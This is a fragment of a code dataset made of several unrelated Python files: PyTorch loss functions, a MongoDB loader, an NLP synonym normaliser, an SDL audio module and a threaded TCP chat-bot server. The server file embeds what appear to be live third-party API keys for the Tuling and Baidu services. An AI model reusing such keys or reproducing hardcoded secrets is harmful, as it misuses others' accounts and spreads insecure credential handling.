  ce_loss = torch.Tensor(0.0).to(mortality_label)\n\n    label_predictions = label_predictions[:, idx_not_nan]\n    mortality_label = mortality_label[idx_not_nan]\n\n    if torch.sum(mortality_label == 0.0) == 0 or torch.sum(mortality_label == 1.0) == 0:\n        print(\n            \"Warning: all examples in a batch belong to the same class -- please increase the batch size.\"\n        )\n\n    if torch.isnan(label_predictions).any():\n        raise ValueError(\"label_predictions contain NaNs\")\n    if torch.isnan(mortality_label).any():\n        raise ValueError(\"mortality_label contains NaNs\")\n\n    # For each trajectory, we get n_traj_samples samples from z0 -- compute loss on all of them\n    mortality_label = mortality_label.repeat(n_traj_samples, 1)\n    ce_loss = nn.BCEWithLogitsLoss()(label_predictions, mortality_label)\n\n    # divide by number of patients in a batch\n    ce_loss = ce_loss / n_traj_samples\n    return ce_loss\n\n\ndef compute_multiclass_CE_loss(label_predictions, true_label, mask):\n    # print('Computing multi-class classification loss: compute_multiclass_CE_loss')\n\n    if len(label_predictions.size()) == 3:\n        label_predictions = label_predictions.unsqueeze(0)\n\n    n_traj_samples, n_traj, n_tp, n_dims = label_predictions.size()\n\n    # For each trajectory, we get n_traj_samples samples from z0 -- compute loss on all of them\n    true_label = true_label.repeat(n_traj_samples, 1, 1)\n\n    label_predictions = label_predictions.reshape(\n        n_traj_samples * n_traj * n_tp, n_dims\n    )\n    true_label = true_label.reshape(n_traj_samples * n_traj * n_tp, n_dims)\n\n    # choose time points with at least one measurement\n    mask = torch.sum(mask, -1) > 0\n\n    # repeat the mask for each label to mark that the label for this time point is present\n    pred_mask = mask.repeat(n_dims, 1, 1).permute(1, 2, 0)\n\n    label_mask = mask\n    pred_mask = pred_mask.repeat(n_traj_samples, 1, 1, 1)\n    label_mask = label_mask.repeat(n_traj_samples, 1, 1, 1)\n\n    pred_mask = pred_mask.reshape(n_traj_samples * n_traj * n_tp, n_dims)\n    label_mask = label_mask.reshape(n_traj_samples * n_traj * n_tp, 1)\n\n    if (label_predictions.size(-1) > 1) and (true_label.size(-1) > 1):\n        if label_predictions.size(-1) != true_label.size(-1):\n            raise RuntimeError(\"Invalid label_predictions shape\")\n        # targets are in one-hot encoding -- convert to indices\n        _, true_label = true_label.max(-1)\n\n    res = []\n    for i in range(true_label.size(0)):\n        pred_masked = torch.masked_select(label_predictions[i], pred_mask[i].bool())\n        labels = torch.masked_select(true_label[i], label_mask[i].bool())\n\n        pred_masked = pred_masked.reshape(-1, n_dims)\n\n        if len(labels) == 0:\n            continue\n\n        ce_loss = nn.CrossEntropyLoss()(pred_masked, labels.long())\n        res.append(ce_loss)\n\n    ce_loss = torch.stack(res, 0).to(label_predictions)\n    ce_loss = torch.mean(ce_loss)\n    # # divide by number of patients in a batch\n    # ce_loss = ce_loss / n_traj_samples\n    return ce_loss\n\n\ndef compute_masked_likelihood(mu, data, mask, likelihood_func):\n    # Compute the likelihood per patient and per attribute so that we don't priorize patients with more measurements\n    n_traj_samples, n_traj, n_timepoints, n_dims = data.size()\n\n    res = []\n    for i in range(n_traj_samples):\n        for k in range(n_traj):\n            for j in range(n_dims):\n                data_masked = torch.masked_select(\n                    data[i, k, :, j], mask[i, k, :, j].bool()\n                )\n\n                mu_masked = torch.masked_select(mu[i, k, :, j], mask[i, k, :, j].bool())\n                log_prob = likelihood_func(mu_masked, data_masked, indices=(i, k, j))\n                res.append(log_prob)\n    # shape: [n_traj*n_traj_samples, 1]\n\n    res = torch.stack(res, 0).to(data)\n    res = res.reshape((n_traj_samples, n_traj, n_dims))\n    # Take mean over the number of dimensions\n    res = torch.mean(res, -1)  # !!!!!!!!!!! changed from sum to mean\n    res = res.transpose(0, 1)\n    return res\n\n\ndef masked_gaussian_log_density(mu, data, obsrv_std, mask=None):\n    # these cases are for plotting through plot_estim_density\n    if len(mu.size()) == 3:\n        # add additional dimension for gp samples\n        mu = mu.unsqueeze(0)\n\n    if len(data.size()) == 2:\n        # add additional dimension for gp samples and time step\n        data = data.unsqueeze(0).unsqueeze(2)\n    elif len(data.size()) == 3:\n        # add additional dimension for gp samples\n        data = data.unsqueeze(0)\n\n    n_traj_samples, n_traj, n_timepoints, n_dims = mu.size()\n\n    if data.size()[-1] != n_dims:\n        raise ValueError(\"Invalid data size\")\n    # Shape after permutation: [n_traj, n_traj_samples, n_timepoints, n_dims]\n    if mask is None:\n        mu_flat = mu.reshape(n_traj_samples * n_traj, n_timepoints * n_dims)\n        n_traj_samples, n_traj, n_timepoints, n_dims = data.size()\n        data_flat = data.reshape(n_traj_samples * n_traj, n_timepoints * n_dims)\n\n        res = gaussian_log_likelihood(mu_flat, data_flat, obsrv_std)\n        res = res.reshape(n_traj_samples, n_traj).transpose(0, 1)\n    else:\n        # Compute the likelihood per patient so that we don't priorize patients with more measurements\n        def func(mu, data, indices):\n            return gaussian_log_likelihood(\n                mu, data, obsrv_std=obsrv_std, indices=indices\n            )\n\n        res = compute_masked_likelihood(mu, data, mask, func)\n    return res\n\n\ndef mse(mu, data, indices=None):\n    n_data_points = mu.size()[-1]\n\n    if n_data_points > 0:\n        mse = nn.MSELoss()(mu, data)\n    else:\n        mse = torch.zeros([1]).to(data).squeeze()\n    return mse\n\n\ndef compute_mse(mu, data, mask=None):\n    # these cases are for plotting through plot_estim_density\n    if len(mu.size()) == 3:\n        # add additional dimension for gp samples\n        mu = mu.unsqueeze(0)\n\n    if len(data.size()) == 2:\n        # add additional dimension for gp samples and time step\n        data = data.unsqueeze(0).unsqueeze(2)\n    elif len(data.size()) == 3:\n        # add additional dimension for gp samples\n        data = data.unsqueeze(0)\n\n    n_traj_samples, n_traj, n_timepoints, n_dims = mu.size()\n    if data.size()[-1] != n_dims:\n        raise ValueError(\"Invalid data size\")\n\n    # Shape after permutation: [n_traj, n_traj_samples, n_timepoints, n_dims]\n    if mask is None:\n        mu_flat = mu.reshape(n_traj_samples * n_traj, n_timepoints * n_dims)\n        n_traj_samples, n_traj, n_timepoints, n_dims = data.size()\n        data_flat = data.reshape(n_traj_samples * n_traj, n_timepoints * n_dims)\n        res = mse(mu_flat, data_flat)\n    else:\n        # Compute the likelihood per patient so that we don't priorize patients with more measurements\n        res = compute_masked_likelihood(mu, data, mask, mse)\n    return res\n\n\ndef compute_poisson_proc_likelihood(truth, pred_y, info, mask=None):\n    # Compute Poisson likelihood\n    # https://math.stackexchange.com/questions/344487/log-likelihood-of-a-realization-of-a-poisson-process\n    # Sum log lambdas across all time points\n    if mask is None:\n        poisson_log_l = torch.sum(info[\"log_lambda_y\"], 2) - info[\"int_lambda\"]\n        # Sum over data dims\n        poisson_log_l = torch.mean(poisson_log_l, -1)\n    else:\n        # Compute likelihood of the data under the predictions\n        truth_repeated = truth.repeat(pred_y.size(0), 1, 1, 1)\n        mask_repeated = mask.repeat(pred_y.size(0), 1, 1, 1)\n\n        # Compute the likelihood per patient and per attribute so that we don't priorize patients with more measurements\n        int_lambda = info[\"int_lambda\"]\n\n        def f(log_lam, data, indices):\n            return poisson_log_likelihood(log_lam, data, indices, int_lambda)\n\n        poisson_log_l = compute_masked_likelihood(\n            info[\"log_lambda_y\"], truth_repeated, mask_repeated, f\n        )\n        poisson_log_l = poisson_log_l.permute(1, 0)\n        # Take mean over n_traj\n        # poisson_log_l = torch.mean(poisson_log_l, 1)\n\n    # poisson_log_l shape: [n_traj_samples, n_traj]\n    return poisson_log_l\n","sub_path":"torchlaplace/data_utils.py","file_name":"data_utils.py","file_ext":"py","file_size_in_byte":33454,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"61005626","text":"class Animal:\n    \"\"\"Blueprint for a generic animal\"\"\"\n\n    is_animal = True\n    is_vegetable = False\n    is_mineral = False\n\n    def __init__(self, number_of_legs=0, what_i_say=None):\n        self.number_of_legs = number_of_legs\n        self.what_i_say = what_i_say\n\n    def speak(self):\n        if self.what_i_say is None:\n            print('Sorry, I don’t speak!')\n        else:\n            print(self.what_i_say)\n","sub_path":"week3/1/object_example.py","file_name":"object_example.py","file_ext":"py","file_size_in_byte":419,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"39947573","text":"import os\nfrom pymongo import MongoClient\n\nestadoTag = '{EST}'\nflat_files_dir = 'carga/estados_cidades'\nmongoCli = MongoClient('localhost', 27017)\ndb = mongoCli.test\nestadosCollection = db.estado\n\nseq = 1001\nseqEstados = 100001\n\n\ndef obterArquivosFlat():\n    files = [fl for fl in os.listdir(flat_files_dir) if '.flat' in fl]\n    return files\n\n\ndef gravarCidade(line):\n    valores = line.split('|')\n    cidade = {\n        '_id': seq,\n        'codigoIbge': valores[0],\n        'nome': valores[1].replace('\\n', '')\n    }\n    return cidade\n\n\ndef gravarEstado(line, lstCidades):\n    valores = line.split('|')\n    estado = {\n        '_id': seqEstados,\n        'nome': valores[1],\n        'sigla': valores[2].replace('\\n', ''),\n        'cidades': lstCidades\n    }\n    estadosCollection.insert_one(estado)\n\n\ndef iniciarCarga(files):\n    for fl in sorted(files):\n        print(fl)\n        cidadeCount = 0\n        cidades = []\n        fl_estado = open(os.path.join(flat_files_dir, fl), 'r')\n        for line in fl_estado:\n            if estadoTag in line:\n                gravarEstado(line, cidades)\n                global seqEstados\n                seqEstados += 1\n            else:\n                cidade = gravarCidade(line)\n                cidades.append(cidade)\n                cidadeCount += 1\n                global seq\n                seq += 1\n\n\nif __name__ == '__main__':\n    iniciarCarga(obterArquivosFlat())\n","sub_path":"carga/estados_cidades/carregaEstadosMongo.py","file_name":"carregaEstadosMongo.py","file_ext":"py","file_size_in_byte":1410,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"8419654","text":"#!/use/bin/python\n# --*-- coding: utf-8 --*--\n\n# !!! Will work only on Python 3 and above\n\nimport re\nimport nwae.utils.FileUtils as futil\nimport nwae.utils.StringUtils as su\nfrom nwae.lib.lang.LangFeatures import LangFeatures\nimport nwae.lib.lang.nlp.LatinEquivalentForm as lef\nimport nwae.lib.lang.characters.LangCharacters as langchar\nimport nwae.utils.Log as log\nfrom inspect import getframeinfo, currentframe\n\n\nclass SynonymList:\n\n    def __init__(\n            self,\n            lang,\n            dirpath_synonymlist,\n            postfix_synonymlist,\n            add_latin_equiv_words = False\n    ):\n        self.lang = LangFeatures.map_to_lang_code_iso639_1(\n            lang_code = lang\n        )\n\n        self.dirpath_synonymlist = dirpath_synonymlist\n        self.postfix_synonymlist = postfix_synonymlist\n        self.add_latin_equiv_words = add_latin_equiv_words\n\n        self.map_word_to_rootword = {}\n        return\n\n    def load_synonymlist(\n            self,\n            # List of words that should be in the first position (index 0)\n            allowed_root_words = None\n    ):\n        self.map_word_to_rootword = self.__load_list(\n            dirpath = self.dirpath_synonymlist,\n            postfix = self.postfix_synonymlist,\n            allowed_root_words = allowed_root_words\n        )\n        return\n\n    # General function to load wordlist or stopwords\n    def __load_list(\n            self,\n            dirpath,\n            postfix,\n            allowed_root_words = None\n    ):\n        lc = langchar.LangCharacters()\n\n        filepath = dirpath + '/' + self.lang + postfix\n        log.Log.info(\n            str(self.__class__) + ' ' + str(getframeinfo(currentframe()).lineno)\n            + ': Loading list for lang \"' + self.lang + '\" from file path \"' + filepath + '\"'\n        )\n\n        fu = futil.FileUtils()\n        content = fu.read_text_file(filepath)\n\n        log.Log.debug(\n            str(self.__class__) + ' ' + str(getframeinfo(currentframe()).lineno)\n            + ': Synonym Read ' + str(len(content)) + ' lines.'\n            + ' List of main words (' + str(type(allowed_root_words)) + '):\\n\\r' + str(allowed_root_words)\n        )\n\n        map_word_rootword = {}\n\n        for line in content:\n            line = str(line)\n            line = su.StringUtils.trim(line)\n            # Remove empty lines\n            if len(line)<=0: continue\n            # Remove comment lines starting with '#'\n            if re.match(pattern='^#', string=line): continue\n\n            linewords = line.split(sep=',')\n            if type(linewords) not in (list, tuple):\n                log.Log.warning(\n                    str(self.__class__) + ' ' + str(getframeinfo(currentframe()).lineno)\n                    + ': Line \"' + str(linewords) + '\" not split into list or tuple but type '\n                    + str(type(linewords)) + '.'\n                )\n                continue\n            # Trim and convert to lowercase\n            linewords = [su.StringUtils.trim(str(x).lower()) for x in linewords]\n            # Remove empty string\n            linewords = [x for x in linewords if x]\n            if len(linewords) == 0:\n                continue\n            # Add latin equivalent forms here\n            if self.add_latin_equiv_words:\n                linewords_lef = [\n                    lef.LatinEquivalentForm.get_latin_equivalent_form(lang=self.lang, word=x) for x in linewords\n                ]\n                for w in linewords_lef:\n                    if w not in linewords:\n                        linewords.append(w)\n\n            log.Log.info(\n                str(self.__class__) + ' ' + str(getframeinfo(currentframe()).lineno)\n                + ': Processing line \"' + str(linewords) + '\".'\n            )\n            rootword = None\n            for rootword_test in linewords:\n                if allowed_root_words is not None:\n                    if rootword_test not in allowed_root_words:\n                        log.Log.warning(\n                            str(self.__class__) + ' ' + str(getframeinfo(currentframe()).lineno)\n                            + ': Word \"' + str(rootword_test) + '\" not in allowed root words! Trying next word..'\n                        )\n                        continue\n                # root word is in list of main words, or list main words is None\n                rootword = rootword_test\n                break\n\n            # If no allowed rootwords found, ignore entire line\n            if rootword is None:\n                log.Log.warning(\n                    str(self.__class__) + ' ' + str(getframeinfo(currentframe()).lineno)\n                    + ': Line \"' + str(linewords) + '\" ignored, no root words found!'\n                )\n                continue\n\n            log.Log.debugdebug(\n                str(self.__class__) + ' ' + str(getframeinfo(currentframe()).lineno)\n                + ': Line \"' + str(linewords) + '\" root word \"' + str(rootword) + '\"'\n            )\n\n            for word in linewords:\n                if word in map_word_rootword.keys():\n                    warnmsg = str(self.__class__) + ' ' + str(getframeinfo(currentframe()).lineno)\\\n                              + ': Duplicate word \"' + str(word) + '\" in synonym list!'\n                    log.Log.warning(warnmsg)\n                map_word_rootword[word] = rootword\n\n        log.Log.info(\n            str(self.__class__) + ' ' + str(getframeinfo(currentframe()).lineno)\n            + ': Successfully loaded synonym list:\\n\\r' + str(map_word_rootword)\n        )\n        return map_word_rootword\n\n    def get_synonym_list_words(self):\n        return list(self.map_word_to_rootword.keys())\n\n    # Replace with root words, thus normalizing the text\n    def normalize_text_array(\n            self,\n            # A word array. e.g. ['this','is','a','sentence','or','just','any','word','array','.']\n            text_segmented_array\n    ):\n        words_normalized = []\n        #\n        # Replace words with root words\n        #\n        wordkeys = self.map_word_to_rootword.keys()\n        for word in text_segmented_array:\n            if not word:\n                continue\n\n            if word in wordkeys:\n                rootword = self.map_word_to_rootword[word]\n                words_normalized.append(rootword)\n            else:\n                words_normalized.append(word)\n\n        return words_normalized\n\n\nif __name__ == '__main__':\n    import nwae.lib.config.Config as cf\n    config = cf.Config.get_cmdline_params_and_init_config_singleton(\n        Derived_Class = cf.Config,\n        default_config_file = '/usr/local/git/nwae/nwae/app.data/config/local.nwae.cf'\n    )\n\n    from nwae.lib.lang.LangFeatures import LangFeatures\n    for lang in [LangFeatures.LANG_ZH, LangFeatures.LANG_TH, LangFeatures.LANG_VI]:\n        sl = SynonymList(\n            lang                = lang,\n            dirpath_synonymlist = config.get_config(param=cf.Config.PARAM_NLP_DIR_SYNONYMLIST),\n            postfix_synonymlist = config.get_config(param=cf.Config.PARAM_NLP_POSTFIX_SYNONYMLIST)\n        )\n        sl.load_synonymlist()\n\n        sentences = [\n            ['试试','这个','提钱','入钱','代理','好','พม','คับ','คะ', 'alo', 'dm', 'con cac']\n        ]\n        for s in sentences:\n            print(sl.normalize_text_array(text_segmented_array=s))\n\n","sub_path":"src/nwae/deprecated/lib/lang/nlp/SynonymList.py","file_name":"SynonymList.py","file_ext":"py","file_size_in_byte":7315,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"485064500","text":"# -*- coding: utf-8 -*-\n__author__ = 'j. mulle, this.impetus@gmail.com'\nimport warnings\nimport math\n\nwith warnings.catch_warnings():\n\twarnings.simplefilter(\"ignore\")\n\timport sdl2.ext\n\tfrom sdl2.sdlmixer import Mix_LoadWAV, Mix_PlayChannel, Mix_Playing, Mix_VolumeChunk\n\twarnings.simplefilter(\"default\")\n\n\nfrom klibs.KLConstants import AR_CHUNK_READ_SIZE, AR_CHUNK_SIZE, AR_AUTO_THRESHOLD, AR_RATE, AR_THRESHOLD, AUDIO_ON, \\\n\tAUDIO_OFF\nimport klibs.KLParams as P\nfrom klibs.KLUtilities import pump, flush\nfrom klibs.KLUserInterface import ui_request\nfrom klibs.KLGraphics.KLDraw import Circle\nfrom klibs.KLGraphics import fill, blit, flip\n\nfrom klibs import PYAUDIO_AVAILABLE\n\nif PYAUDIO_AVAILABLE:\n\timport pyaudio\n\timport wave\n\tfrom array import array\n\n\n\nif P.audio_initialized is False:\n\tsdl2.SDL_Init(sdl2.SDL_INIT_AUDIO)\n\tsdl2.sdlmixer.Mix_OpenAudio(44100, sdl2.sdlmixer.MIX_DEFAULT_FORMAT, 2, 1024)\n\tP.audio_initialized = True\n\n\nclass AudioManager(object):\n\tlisteners = {}\n\n\tdef __init__(self):\n\t\t\"\"\"\n\n\n\t\t\"\"\"\n\t\tsuper(AudioManager, self).__init__()\n\n\t# def create_listener(self, name=None, threshold=AR_AUTO_THRESHOLD):\n\t# \tif not PYAUDIO_AVAILABLE:\n\t# \t\traise RuntimeError(\"PyAudio module not loaded; KLAudio.AudioResponseListener not available.\")\n\t# \tlistener = AudioResponseListener(, threshold)\n\t# \tif name:\n\t# \t\tself.listeners[name] = listener\n\t# \treturn listener\n\n\tdef clip(self, file_path):\n\t\t\"\"\"\n\n\t\t:param file_path:\n\t\t:return:\n\t\t\"\"\"\n\t\treturn AudioClip(file_path)\n\n\n# Note AudioClip is an adaption of code originally written by mike lawrence (github.com/mike-lawrence)\nclass AudioClip(object):\n\t\tdefault_channel = -1\n\t\tsample = None\n\t\t__playing = False\n\t\t__volume = 128\n\t\t__volume_increment = 12.8\n\n\t\tdef __init__(self, file_path):\n\t\t\t\"\"\"\n\n\t\t\t:param file_path:\n\t\t\t\"\"\"\n\t\t\tsuper(AudioClip, self).__init__()\n\t\t\tself.sample = Mix_LoadWAV(sdl2.ext.compat.byteify(file_path, \"utf-8\"))\n\t\t\tself.started = False\n\t\t\tself.channel = self.default_channel\n\n\t\tdef play(self, channel=-1, loops=0):\n\t\t\t\"\"\"\n\n\t\t\t:param channel:\n\t\t\t:param loops:\n\t\t\t\"\"\"\n\t\t\tself.channel = Mix_PlayChannel(channel, self.sample, loops)\n\t\t\tself.__playing = True\n\n\t\tdef playing(self):\n\t\t\t\"\"\"\n\n\n\t\t\t:return:\n\t\t\t\"\"\"\n\t\t\tif self.started:\n\t\t\t\tif Mix_Playing(self.channel):\n\t\t\t\t\treturn True\n\t\t\t\telse:\n\t\t\t\t\tself.__playing = False\n\t\t\t\t\treturn False\n\n\t\t\treturn False\n\n\t\tdef volume_up(self, steps=1):\n\t\t\t\"\"\"\n\n\t\t\t:param steps:\n\t\t\t\"\"\"\n\t\t\tself.__volume += steps * self.__volume_increment\n\t\t\tself.__volume = int(self.volume)\n\n\t\tdef volume_down(self, steps=1):\n\t\t\t\"\"\"\n\n\t\t\t:param steps:\n\t\t\t\"\"\"\n\t\t\tself.__volume -= steps * self.__volume_increment\n\t\t\tself.__volume = int(self.volume)\n\n\t\tdef mute(self, state=AUDIO_ON):\n\t\t\t\"\"\"\n\n\t\t\t:param state:\n\t\t\t:return:\n\t\t\t\"\"\"\n\t\t\tMix_VolumeChunk(self.sample, 0 if state == AUDIO_OFF else self.__volume)\n\t\t\treturn False\n\n\t\t@property\n\t\tdef volume(self):\n\t\t\treturn self.__volume\n\n\t\t@volume.setter\n\t\tdef volume(self, volume_value):\n\t\t\tif type(volume_value) is float and volume_value < 1:\n\t\t\t\tself.__volume = 128 * volume_value\n\t\t\telif type(volume_value) is int and volume_value <= 128:\n\t\t\t\tself.__volume = volume_value\n\t\t\telse:\n\t\t\t\traise ValueError(\"Provide either an integer between 1 and 128 or a float between 0 and 1.\")\n\t\t\tMix_VolumeChunk(self.sample, self.__volume)\n\n\nclass AudioSample(object):\n\n\tdef __init__(self, raw_sample, threshold):\n\t\t\"\"\"\n\n\t\t:param raw_sample:\n\t\t:param threshold:\n\t\t\"\"\"\n\t\tsuper(AudioSample, self).__init__()\n\t\tself.array = array('h', raw_sample)\n\t\tself.peak = max(self.array)\n\t\tself.trough = min(self.array)\n\t\tself.mean = sum(self.array) / len(self.array)\n\t\tself.threshold = None if threshold == AR_AUTO_THRESHOLD else threshold\n\n\tdef is_below(self, threshold=None):\n\t\t\"\"\"\n\n\t\t:param threshold:\n\t\t:return:\n\t\t\"\"\"\n\t\treturn self.peak < threshold if threshold else self.threshold\n\n\tdef is_above(self, threshold=None):\n\t\t\"\"\"\n\n\t\t:param threshold:\n\t\t:return:\n\t\t\"\"\"\n\t\treturn self.trough > threshold if threshold else self.threshold\n\n\nclass AudioStream(object):\n\tp = None\n\tstream = None\n\n\tdef __init__(self, threshold=1):\n\t\t\"\"\"\n\n\t\t:param threshold:\n\t\t\"\"\"\n\t\tsuper(AudioStream, self).__init__()\n\t\tself.p = pyaudio.PyAudio()\n\t\tself.threshold = 1\n\t\t# if threshold == AR_AUTO_THRESHOLD:\n\t\t# \tself.threshold = 3 * self.get_ambient_level()  # this is probably inadequate and should employ a log scale\n\t\t# else:\n\t\t# \tself.threshold = threshold\n\n\tdef sample(self):\n\t\t\"\"\"\n\n\n\t\t:return:\n\t\t\"\"\"\n\t\tif not self.stream:\n\t\t\tself.init_stream()\n\t\t# try:\n\n\t\tchunk = self.stream.read(AR_CHUNK_SIZE, False)\n\t\tsample = AudioSample(chunk, self.threshold)\n\n\t\treturn sample\n\t\t# except AttributeError:\n\t\t# \treturn AudioSample(self.stream.read(AR_CHUNK_SIZE), P.AR_AUTO_THRESHOLD)\n\n\tdef init_stream(self):\n\t\t\"\"\"\n\n\n\t\t\"\"\"\n\t\ttry:\n\t\t\tself.kill_stream()\n\t\texcept (AttributeError, IOError) as e:\n\t\t\tpass  # on first pass, no stream exists; on subsequent passes, extant stream should be stopped & overwritten\n\n\t\tself.p = pyaudio.PyAudio()\n\t\tself.stream = self.p.open(format=pyaudio.paInt16, channels=1, rate=AR_RATE, input=True, output=True, \\\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t  frames_per_buffer=AR_CHUNK_SIZE)\n\n\tdef kill_stream(self):\n\t\t\tself.stream.stop_stream()\n\t\t\tself.stream.close()\n\t\t\tself.p.terminate()\n\n\tdef get_ambient_level(self, period=1):\n\n\t\t\"\"\"\n\n\t\t:param period:\n\t\t:return:\n\t\t\"\"\"\n\t\tsample_period = P.tk.countdown(period)\n\t\twarn_message = \"Please remain quite while the ambient noise level is sampled. Sampling will begin in 3 seconds.\"\n\t\tsampling_message = \"Sampling Complete In {0} Seconds\"\n\t\tpeaks = []\n\n\t\tfill()\n\t\t#message(warn_message, location=P.screen_c, registration=5)\n\t\tflip()\n\t\tsample_period.start_clock()\n\t\t#message(sampling_message.format(int(math.ceil(sample_period.remaining())), font_size=\"48pt\"), location=P.screen_c, registration=5)\n\n\t\twhile sample_period.counting():\n\t\t\tui_request()\n\t\t\tpeaks.append(self.sample().peak)\n\n\t\treturn sum(peaks) / len(peaks)\n\n\tdef get_peak_during(self, period=3, message=None):\n\t\t\"\"\"\n\n\t\t:param period:\n\t\t:param message:\n\t\t:return:\n\t\t\"\"\"\n\t\t# initial_diameter = int(P.screen_x * 0.05)\n\t\tlocal_peak = 0\n\t\tpump()\n\t\tflush()\n\n\t\tsample_period = P.tk.countdown(period)\n\t\tfirst_flip_rest = False\n\t\tif message:\n\t\t\tpass\n\t\t\t#message = .message(message, location=P.screen_c, registration=5, blit=False)\n\t\tif not self.stream:\n\t\t\tself.init_stream()\n\t\tself.init_stream()\n\t\twhile sample_period.counting():\n\t\t\tsample = self.sample().peak\n\t\t\tui_request()\n\t\t\tfill()\n\t\t\tif sample > local_peak:\n\t\t\t\tlocal_peak = sample\n\t\t\tpeak_circle = int((local_peak * P.screen_x * 0.9) / 65000)\n\t\t\tsample_circle = int((sample * P.screen_x * 0.9) / 65000)\n\t\t\tif peak_circle < 5:\n\t\t\t\tpeak_circle = 5\n\t\t\tif sample_circle < 5:\n\t\t\t\tsample_circle = 5\n\t\t\tif message:\n\t\t\t\tblit(message, position=[25,25], registration=7)\n\t\t\tblit(Circle(peak_circle, fill=[255, 145, 0]), position=P.screen_c, registration=5)\n\t\t\tblit(Circle(sample_circle, fill=[84, 60, 182]), position=P.screen_c, registration=5)\n\t\t\tflip()\n\t\t\tif not first_flip_rest:\n\t\t\t\tsample_period.start_clock()\n\t\t\t\tfirst_flip_rest = True\n\t\tself.kill_stream()\n\n\t\treturn local_peak\n\n\n\n\n\n\n\n\n\n","sub_path":"klibs/KLAudio.py","file_name":"KLAudio.py","file_ext":"py","file_size_in_byte":7004,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"21114029","text":"# -*- coding: utf-8 -*-\nimport socket\nimport threading,urllib.request,json,urllib.parse\nfrom Command import city,command\nimport time,datetime\nfrom Pybot import getBing,getCnbeta,getDetailCB\n\n\ndef turning(message):\n    value={'key':'401d7b5d91cdceca24f6e1fb59dea0c9',\n           'info':message,\n           'userid':'haorebot'}\n    info=urllib.parse.urlencode(value)\n    url='http://www.tuling123.com/openapi/api?%s'%info\n    tem_content=urllib.request.urlopen(url).read().decode('utf-8')\n    print(tem_content)\n\n    content=json.loads(tem_content)\n    return_msg=''\n    if content['code']==200000:\n        return_msg=('%s\\n%s'%(content['text'],content['url']))\n    elif content['code']==100000:\n        return_msg=content['text']\n    elif content['code']==302000:\n        return_msg=('%s:\\n%s\\n%s\\n\\n%s\\n%s\\n\\n%s\\n%s'%(content['text'],\n                                                           content['list'][0]['article'],\n                                                           content['list'][0]['detailurl'],\n                                                           content['list'][1]['article'],\n                                                           content['list'][1]['detailurl'],\n                                                           content['list'][2]['article'],\n                                                           content['list'][2]['detailurl']\n                                                           ))\n    return return_msg\n\ndef translate(message):\n    data={'query':message}\n    data=urllib.parse.urlencode(data)\n    url = ('http://apis.baidu.com/apistore/tranlateservice/translate?%s&from=auto&to=zh'%data)\n    req=urllib.request.Request(url)\n    req.add_header('apikey','a33ced6b3d1913684f849634c1392563')\n    content=urllib.request.urlopen(req).read().decode('utf-8')\n    data=json.loads(content)['retData']['trans_result'][0]\n    dst=('Src:%s\\nDst:%s'%(data['src'],\n                           data['dst']))\n    return dst\n\ndef savefile(messagelist):\n    se=datetime.datetime.now()\n    '''f=open('msg%s%s%s.txt'%(se.month,se.day,se.hour),'a')\n    for message in messagelist:\n        f.write('%s\\n'%message)\n    f.close()'''\n    with open('msg%s%s%s.txt'%(se.month,se.day,se.hour),'a') as f:\n        for message in messagelist:\n            f.write('%s\\n'%message)\n\ndef getWeather(cityname):\n    citycode=city.get(cityname)\n    if citycode:\n        url=('http://www.weather.com.cn/data/cityinfo/%s.html'%citycode)\n        content=urllib.request.urlopen(url).read().decode('utf-8')\n        data=json.loads(content)\n        result=data['weatherinfo']\n        str_temp=('%s\\n%s ~ %s')%(result['weather'],\n                                  result['temp1'],\n                                  result['temp2'])\n        print(content)\n        return str_temp\n\n\n\ndef tcplink(sock,addr):\n    messagelist=[]\n    temessage='Accept new connection from %s:%s...'%addr\n    messagelist.append(temessage)\n    print(temessage)\n    sock.send(b'Welcome!')\n    messagelist.append('Welcome')\n    while True:\n        data=sock.recv(1024)\n        messagelist.append(data.decode('utf-8'))\n        respon_msg=''\n        if not data or data.decode('utf-8')=='\\exit':\n            print('break-----')\n            break\n        elif data.decode('utf-8')==r'\\save':\n            savefile(messagelist)\n        elif data.decode('utf-8')[0:8]=='\\\\weather':\n            respon_msg=getWeather(data.decode('utf-8')[9:])\n            sock.send(respon_msg.encode('utf-8'))\n        elif data.decode('utf-8')[0:10]=='\\\\translate':\n            respon_msg=translate(data.decode('utf-8')[11:])\n            sock.send(respon_msg.encode('utf-8'))\n        elif data.decode('utf-8')[0:8]=='\\\\getbing':\n            tem_msg=getBing(int(data.decode('utf-8')[-1]))\n            respon_msg='Date:%s\\nTitle:%s\\nURL:%s'%(tem_msg['date'],\n                                                    tem_msg['copyright'],\n                                                    tem_msg['url'])\n            sock.send(respon_msg.encode('utf-8'))\n        elif data.decode('utf-8')=='\\\\getCnbeta':\n            item=getCnbeta()\n            for tem_msg in item:\n                respon_msg+=('Title:%s  View:%s\\nURL:%s\\n\\n'%(tem_msg[1],tem_msg[2],tem_msg[0]))\n            sock.send(respon_msg.encode('utf-8'))\n            or_num=sock.recv(1024).decode('utf-8')\n            try :\n                num=int(or_num)\n                info=getDetailCB(item[num][0])\n                sock.send(info.encode('utf-8'))\n            except ValueError:\n                sock.send(b'Invalied value')\n\n        else:\n            respon_msg=turning(data.decode('utf-8'))\n            sock.send(('Server--%s'%respon_msg).encode('utf-8'))\n        messagelist.append(respon_msg)\n        #time.sleep(1)\n        #sock.send(('Hello,%s!'%data.decode('utf-8')).encode('utf-8'))\n    sock.close()\n    print('Connection form %s:%s closed.'%addr)\n\n\n\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.bind(('127.0.0.1',9999))\n\ns.listen(5)\nprint('Waiting for connection...')\n\n\n\nwhile True:\n    sock,addr=s.accept()\n    t=threading.Thread(target=tcplink,args=(sock,addr))\n    t.start()","sub_path":"Server.py","file_name":"Server.py","file_ext":"py","file_size_in_byte":5113,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
